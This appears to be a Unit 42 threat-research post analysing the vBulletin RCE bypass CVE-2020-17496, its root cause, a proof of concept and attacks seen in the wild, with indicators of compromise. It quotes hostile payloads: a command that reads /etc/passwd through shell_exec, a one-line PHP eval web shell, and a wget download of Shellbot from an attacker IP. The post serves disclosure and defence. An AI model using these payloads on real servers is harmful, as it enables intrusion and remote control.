Exploits in the Wild for vBulletin Pre-Auth RCE Vulnerability CVE-2020-17496

This image illustrates the concept of a vulnerability.

This post is also available in: 日本語 (Japanese)

Executive Summary

In September 2019, a remote code execution (RCE) vulnerability identified as CVE-2019-16759 was disclosed for vBulletin, a popular forum software. At that time, Unit 42 researchers published a blog on this vBulletin vulnerability, analyzing its root cause and the exploit we found in the wild. By exploiting this vulnerability, an attacker could have gained privileged access and control over any vBulletin server running versions 5.0.0 up to 5.5.4, and potentially lock organizations out from their own sites.

Recently, Unit 42 researchers found exploits in the wild leveraging the vBulletin pre-auth RCE vulnerability CVE-2020-17496. The exploits are a bypass of the fix for the previous vulnerability, CVE-2019-16759, which allows attackers to send a crafted HTTP request with a specified template name and malicious PHP code, and leads to remote code execution. More than 100,000 sites are built on vBulletin, including the forums of major enterprises and organizations, so it’s imperative to patch immediately.

In this blog, we provide details on the bypass of the patch of the vulnerability, proof of concept code (PoC) to demonstrate the vulnerability and information on attacks we have observed in the wild.

Palo Alto Networks customers are protected by the following services and products via Threat Prevention signatures and URL Filtering blocks the related C2 traffic.

Root Cause Analysis of the Vulnerability (CVE-2020-17496)

Template rendering is a functionality of vBulletin that can convert XML templates to PHP code and execute it. Beginning from version 5.0, vBulletin starts to accept Ajax requests for template rendering. The rendering is executed with a function staticRenderAjax. As shown in Figure 1, the values of parameters for this function are from $_REQUESTS, $_GET and $_POST. Thus, the template name and the related config which come from those parameters are user-controllable, which leads to the RCE vulnerability CVE-2019-16759.

The values and parameters for the function staticRenderAjax are from $_REQUESTS, $_GET and $_POST, as shown by the red arrows.
Figure 1. The callRender() in vBulletin < 5.5.5

When an attacker manipulates an Ajax request that contains template name widget_php and malicious code placed in the parameter widgetConfig[‘code’], the render engine will convert the XML template widget_php shown in Figure 2 to a string of PHP code, then execute the code by the eval function highlighted in Figure 3. Since the generated code has a line of vB5_Template_Runtime::evalPhp(” . $widgetConfig[‘code’], the malicious code in the request will be executed.

When an attacker manipulates an Ajax request that contains template name widget_php and malicious code placed in the parameter widgetConfig[‘code’], the render engine will convert the XML template widget_php to a string of PHP code.
Figure 2. Template “widget_php”
 

 

A red box highlights the function eval($templateCode)
Figure 3. Eval the PHP code rendered from the XML template

Beginning from version 5.5.5, a fix for CVE-2019-16759 was introduced into the function callRender() as shown in Figure 4. It uses a disallow-list mechanism to check the template name. If the name is widget_php, the engine won’t render the requested template.

Beginning from version 5.5.5, a fix for CVE-2019-16759 was introduced into the function callRender() It uses a disallow-list mechanism to check the template name.
Figure 4. The callRender() in vBulletin ≥ 5.5.5

Another fix is that the evalPhp function will check the current template name. After the fix, widget_php is the only template that can be used to execute PHP code, as shown in Figure 5.

The code in the red box begins: if (self::currentTemplate() != 'widget_php') -- It demonstrates how the evalPhp function checks the current template name.
Figure 5. evalPhp() executes code only when the template is widget_php

The fix makes widget_php the only template that can be utilized for PHP code execution, and meanwhile, restricts the user’s access to this template. However, in the latest bypass, we found that another template can be utilized to load this template. That template is widget_tabbedcontainer_tab_panel.

This shows code from the template widget_tabbedcontainer_tab_panel, which can be utilitzed to load widget_php
Figure 6. The template widget_tabbedcontainer_tab_panel

This template widget_tabbedcontainer_tab_panel shown in Figure 6, above, is a template that can be used to render multiple child templates. Rendering the template itself doesn’t directly lead to the remote code execution. However, the rendering of this template will trigger the rendering of other child templates.

The code below is the PHP code that is rendered from the widget_tabbedcontainer_tab_panel template in XML. After this code is generated, it will be executed.

 

 

 

In the PHP code, it can be seen that the render engine will traverse the “subWidget” and its config from the $subWidgets and create a new template object, after which the rendering will generate its PHP code. In this case, if the string widget_php is assigned to variable subWidget and the malicious code is placed in the $widgetConfig[‘code’], the malicious code will be executed just like with CVE-2019-16759.

Proof of Concept

Based on our analysis, we can construct the exploit code to prove the functionality. The calling of the function callRender requires the POST HTTP method (according to Figure 7).

The code highlighted in the red box shows how the POST HTTP method is required to call the function callRender. This is a part of our proof of concept of an exploit of CVE-2020-17496.
Figure 7. Call of the callRender()

Figure 8 shows a compromised page that contains the result of the code phpinfo(); with the request information. Figures 9 and 10 show some other manipulated requests that have the same effect.

In the URL, the child template name widget_php and the malicious code phpinfo();exit(); are in the array subWidget as the first element. When the backend processes this URL, the malicious code will be executed.

This compromised page, part of our proof of concept of an exploit of CVE-2020-17496, contains the result of the code phpinfo(); with the request information
Figure 8. Reproduction of the exploit – 1
This is another manipulated request shown as part of our proof of concept of an exploit of CVE-2020-17496
Figure 9. Reproduction of the exploit – 2
This is a third manipulated request shown as part of our proof of concept of an exploit of CVE-2020-17496
Figure 10. Reproduction of the exploit – 3

Exploits in the Wild: CVE-2020-17496

We caught the first incident of CVE-2020-17496 exploitation on Aug. 10, 2020, and later found that exploitation attempts from different IP addresses are ongoing. Note that these are disparate attacks and not a coordinated effort by any particular attackers.

Scanning Activities

According to malicious traffic we captured, there are multiple source IPs running scans. These scans are trying to find vulnerable sites and collect that information, which is an early step of cyber attacks. The traffic is shown in Figures 11-15. These payloads try to execute system commands echo and id, which can give attackers knowledge of whether or not the targets are vulnerable according to the responses.

This is an example of malicious traffic associated with CVE-2020-17496 exploitation. Our traffic captured multiple source IPs running scans, attempting to find vulnerable sites and collect information about them.
Figure 11. Exploit in the wild – 1
This is a second example of malicious traffic associated with CVE-2020-17496 exploitation. Our traffic captured multiple source IPs running scans, attempting to find vulnerable sites and collect information about them.
Figure 12. Exploit in the wild – 2
This is a third example of malicious traffic associated with CVE-2020-17496 exploitation. Our traffic captured multiple source IPs running scans, attempting to find vulnerable sites and collect information about them.
Figure 13. Exploit in the wild – 3
This is a fourth example of malicious traffic associated with CVE-2020-17496 exploitation. Our traffic captured multiple source IPs running scans, attempting to find vulnerable sites and collect information about them.
Figure 14. Exploit in the wild – 4

Sensitive File Reading

Some attackers are trying to exploit the vulnerability and read files on the server-side. The payload contains the PHP function shell_exec() for the execution of arbitrary system commands and a system command cat ../../../../../../../../../../etc/passwd to read the content of the /etc/passwd. The traffic is shown in Figure 15. Once the attack succeeds, sensitive information from the targets may be disclosed.

This example of malicious traffic associated with CVE-2020-17496 exploitation shows a payload containing the PHP function shell_exec() for the execution of system commands.
Figure 15. Exploit in the wild – 5

Writing Web Shell

Some attackers are exploiting the vulnerability to install a web shell.

Figure 16 shows that the exploit is trying to write a PHP-based web shell <?php @eval($_POST[“x”]);?> to the file conf.php on the web host directory with the PHP function file_put_content(). Once the attack succeeds, attackers can send their commands via HTTP POST request with the parameter x to the web shell and execute the commands on the server-side.

This shows that the exploit is trying to write a PHP-based web shell to the file conf.php on the web host directory. Once the attack succeeds, attackers can send their commands via HTTP POST request with the parameter x to the web shell and execute the commands on the server-side.
Figure 16. Exploit in the wild – 6

Figure 17 shows that the exploit is trying to download a PHP script onto the victim server. The webshell code is as below. The code provides an upload page for attackers to upload any files and conduct the follow-up steps of a cyber attack.

 

 

 

This shows the exploit of CVE-2020-17496 trying to download a PHP script onto the victim server.
Figure 17. Exploit in the wild – 7

Figure 18 shows that the exploit is trying to write base64 encoded PHP code into a file in the web host directory. The new page will lead to an arbitrary file upload entrypoint, allowing attackers to conduct the follow-up steps of a cyber attack.

This shows that the exploit of CVE-2020-17496 is trying to write base64 encoded PHP code into a file in the web host directory.
Figure 18. Exploit in the wild – 8

Downloading Shellbot

Some attackers are utilizing the vulnerability to download a Perl-based script malware (Shellbot) with the PHP function shell_exec() for the execution of the system command wget from the address http://178[.]170[.]117[.]50/bot1 and run it. The payload can be seen in Figure 19.

This shows the payload of an exploit of CVE-2020-17496
Figure 19. Exploit in the wild – 9

Once the script is executed, it will connect to an IRC-based command-and-control (C2) server with the address of 66[.]7[.]149[.]161:6667, join the IRC channel #afk then keep responding to the PING from the server, as in the traffic shown in Figure 20. Once it receives the commands from the chat channel, it will execute the related code of port scanning, download files, execute system commands, start a flood attack, pop a shell to attackers and so on.

Once the malicious script in the previous figure is executed, it connects to an IRC-based command-and-control server, joins the IRC channel #afk, and responds to the PING from the server, as in the traffic shown here.
Figure 20. Traffic during the execution of the ShellBot script

Downloading Sora

One exploit is found to download a Mirai variant (Sora) from the attacker’s server. However, the payload is ineffective as it uses the wrong HTTP method.

This exploit of CVE-2020-17496 attempts to download a Mirai variant (Sora) from the attacker's server.
Figure 21. Exploit in the wild – 10

According to analysis of the samples, they spread themselves with different combinations of the exploits of CVE-2020-5902 (which would be ineffective, as the payload uses bash commands, whereas the exploit requires the injected commands to be specific CLI-compatible ones), CVE-2020-1937, CVE-2020-10173, CVE-2020-10987, Netgear R700 RCE, Netlink GPON Router 1.0.11 RCE and the vulnerability CVE-2020-17496 discussed in this blog.

Conclusion

There are multiple kinds of exploit attempts against vBulletin pre-auth RCE vulnerability CVE-2020-17496 being detected by our threat platform. As a widely used forum software package that has been running for a long time in the market, it has been identified as a prized target by attackers.

vBulletin released the patch to fix this vulnerability on Aug. 10, 2020. Applying the patch to the latest version will mitigate the risks, which is strongly advised.

Palo Alto Networks customers are protected by the following services and products:

Additional Resources

Indicators of Compromise

Shellbot Hash

88DDD8A1B77477AAFFD1BB163B9770D72A77BF29BFCA226E79C28D15BEF983ED

Mirai Variant (Sora) Hashes

03bfec4e039805091fe30fa978d5ec7f28431bb0fca4b137e075257b3e1c0dd4

b4cb04709f613b5363514e75984084ef1d3eaba7c50638b2a5a284680831b992

94f02ea10b4546da71bd46916f0fe260b40c8ed4deccf0588687e62ca3819ad7

bd72be4f7d64795b902f352e47b1654eaee6b5a71cddfaf2c245dba1b2d602eb

77b4f7f0d66a0333d756116eaae567a8540392f558c49d507bf6da10bd047fe3

051baaabf205c7c0f5fd455ac5775447f9f3df0cc9bc5f66f6d386f368520581

fd63b9c7e9dce51348d9600f67139ea8959fdbbca84d505b5e9317bbdca74016

8b5810e07cf21ebb1c2ff23c13ce88022c1dd5bc2df32f4d7e5480b4ddb82de2

ded23c3f5f2950257d8cfb215c40d5f54b28fde23c02f61ce1eb746843f43397

80fb66c6b1191954c31734355a236b7342dc3fd074ead47f9c1ed465561c6e8c

f30bb52c0e32dfe524fc0dfda1724a1ffb88647c39c33a66dfd66109fecceec7

1900e09983acf7ddc658b860be7875a527bc914cbffcf0aaff0b4182ecef047b

fa7575bd0cd2a83995ea34d8d008eb07c2062a843e5e155e2e0d8b35a0cf7901

68132010d9a543a6a2a9ea61e771cf2c041cea259cc76affdfe663e20c130a45

ab671fc0c68ed1c249c2bb52b28ae3d70df8bd1614d86f6d6a3f4c21d7841d72

4ff21e69b11566336f4fd56ac2829cdcf215182e8ff807f8e744c0a2b08f726f

a7373fa18b367edbcd4462345a5da087821e34734bdf05d1c4060a7694868c5e

dec56b06e03665d2c656b530d3b6f90ca0ec2925bec4559d8a2cec5da3a7700b

c379139347470254f19041f05e19f5454750e052f04f6d377ec8df19ce959519

fed0f0d3e9d990f8a83b86d29e586d46e7cac54efb0eae2f07112d61afb9b885

84448ee487010d6fed918febe230b71a8ec1266e300f85933014db2566645857

994889422b24a5b4759eda30265f1b933a458e15927b4f7949d4a3ba79eb43ca

39b6d72101adae2b71815328599f8e67ee27955849dfb3825c5b2731d504696b

0747988a77c89c1267a882b663fbd4168e25aed239fb1553e65bb4ac74ecda67

99d06d1c82af244b1533c1173ca10da7f29bfbf753073f20f5dc7a0016152a4c

372ab5c1c23d198b594353239a96d6cf620cc56588f5fdf5dfb32919dd019020

ef2a6b37568e14dacd5d8894ce2e4bbc593ffd58e197827a052d2c2f0a756949

1cf9ac9150d59de25ca5ac1f855fadf1b03f13b4e9ced63a12acef9c8292a648

cf172b4629e321e4c78a1d0717130bbb693392712a86d3d85d035bae1f377dbd

1a0293d4863ccef36e138e4f6c65ad013a403db0ffc69ebaf04b43b61b4ba798

2a14b9b01ec78a332be40339a782a2cf2bf9a237eee9cc5fcd40fa3385b1d4fb

f56150ff764328ee59eeaafe5e2d63574b475a69386c9ac4978006070807edc9

9572a532c08f81d7957ffd4639f95c34a2085f119fa426d8ea911af72bfd0b4a

113ad91a1aab3abcd704fe8670fbc043f049586462a4c58dabdd44c14519ea66

f9d7d9b11c60bd52625e7d9a33516c2bac96ac542a22696d0da3a9c536dae11b

6f01ef6670ecd79f9b322dd8521bc13a73037e7f84fa9aad35d11d964d8f9e60

2960748648bc2cd1b3db5e1e1ce9931a6588d65ae91c6d09e6b8bf2d78b00263

IP Addresses

66[.]7[.]149[.]161

178[.]170[.]117[.]50